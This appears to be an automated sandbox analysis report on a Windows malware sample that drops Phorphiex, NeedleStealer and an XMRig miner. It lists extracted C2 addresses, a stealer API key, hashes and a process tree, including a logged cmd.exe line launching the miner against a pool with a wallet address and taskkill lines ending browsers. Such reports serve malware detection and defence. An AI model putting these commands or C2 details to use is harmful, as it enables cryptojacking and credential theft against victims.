Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 17:53

General

  • Target
    file.exe
  • Size 10KB
  • Sample260823-wgd3psaj21
  • SHA256 fd862ca3126251f4f0788ff7b583acdc2d88d21bb1f2f1ee06eaa12abdeb7a8a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://178.16.55.240/

  • http://178.16.55.240/l/

  • http://178.16.55.240/nm/

  • http://178.16.55.240/nmm/

Mutex
  • 464626246

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36

Extracted

Family
  • needle_stealer

C2
  • http://130.12.180.135:3000/api/v2

Attributes
  • api_key

    alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f

  • base_extension

    false

  • self_destruct

    false

Signatures

  • Family: NeedleStealer

    NeedleStealer is a modular stealer written in Golang.

  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detects NeedleStealer payload 1 IoCs
  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file 6 IoCs
  • Executes dropped EXE 9 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5436
    • C:\Users\Admin\AppData\Local\Temp\2695822520.exe
      C:\Users\Admin\AppData\Local\Temp\2695822520.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4576
    • C:\Users\Admin\AppData\Local\Temp\3133033900.exe
      C:\Users\Admin\AppData\Local\Temp\3133033900.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4516
    • C:\Users\Admin\AppData\Local\Temp\1378711491.exe
      C:\Users\Admin\AppData\Local\Temp\1378711491.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5076
    • C:\Users\Admin\AppData\Local\Temp\2901221849.exe
      C:\Users\Admin\AppData\Local\Temp\2901221849.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5272
    • C:\Users\Admin\AppData\Local\Temp\4162332257.exe
      C:\Users\Admin\AppData\Local\Temp\4162332257.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3108
      • C:\Users\Admin\sysmgnrsv.exe
        C:\Users\Admin\sysmgnrsv.exe
        3⤵
        • Executes dropped EXE
        PID:3536
      • C:\sysfrodolv.exe
        \sysfrodolv.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3088
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5084
          • C:\Users\Admin\sysmgnrsv.exe
            C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:480
    • C:\Users\Admin\AppData\Local\Temp\159469795.exe
      C:\Users\Admin\AppData\Local\Temp\159469795.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedge.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5760
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM chrome.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4492
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedgewebview2.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4772
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2892

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          1378711491.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1378711491.exe
          • Size 18KB
          • SHA256 6f7dc171744100aa4d50cb2b7f22b059861b2992c7d1a97f928ba835bdd2b2c3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          159469795.exe

          • Path C:\Users\Admin\AppData\Local\Temp\159469795.exe
          • Size 8.3MB
          • SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
          • MD5 SHA1 SHA512 SSDEEP TLSH

          2695822520.exe

          • Path C:\Users\Admin\AppData\Local\Temp\2695822520.exe
          • Size 18KB
          • SHA256 46b17f043c38aaa7bb67986b4101cecdb9cd176f259828f0b4e9fa2f5d7b17ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          2901221849.exe

          • Path C:\Users\Admin\AppData\Local\Temp\2901221849.exe
          • Size 18KB
          • SHA256 8678a0b7ebe2eccf92cdab9a60bb9d55260c776fcd44ee8a2530cfa379d0460a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          3133033900.exe

          • Path C:\Users\Admin\AppData\Local\Temp\3133033900.exe
          • Size 18KB
          • SHA256 37c11f7513e3f89936105ecc9a6d1d24e5ec8e2c732624d22835024747389569
          • MD5 SHA1 SHA512 SSDEEP TLSH

          4162332257.exe

          • Path C:\Users\Admin\AppData\Local\Temp\4162332257.exe
          • Size 12KB
          • SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
          • MD5 SHA1 SHA512 SSDEEP TLSH

          sysmgnrsv.exe

          • Path C:\Users\Admin\sysmgnrsv.exe
          • Size 6.2MB
          • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3536-37-0x0000016EDC550000-0x0000016EDC570000-memory.dmp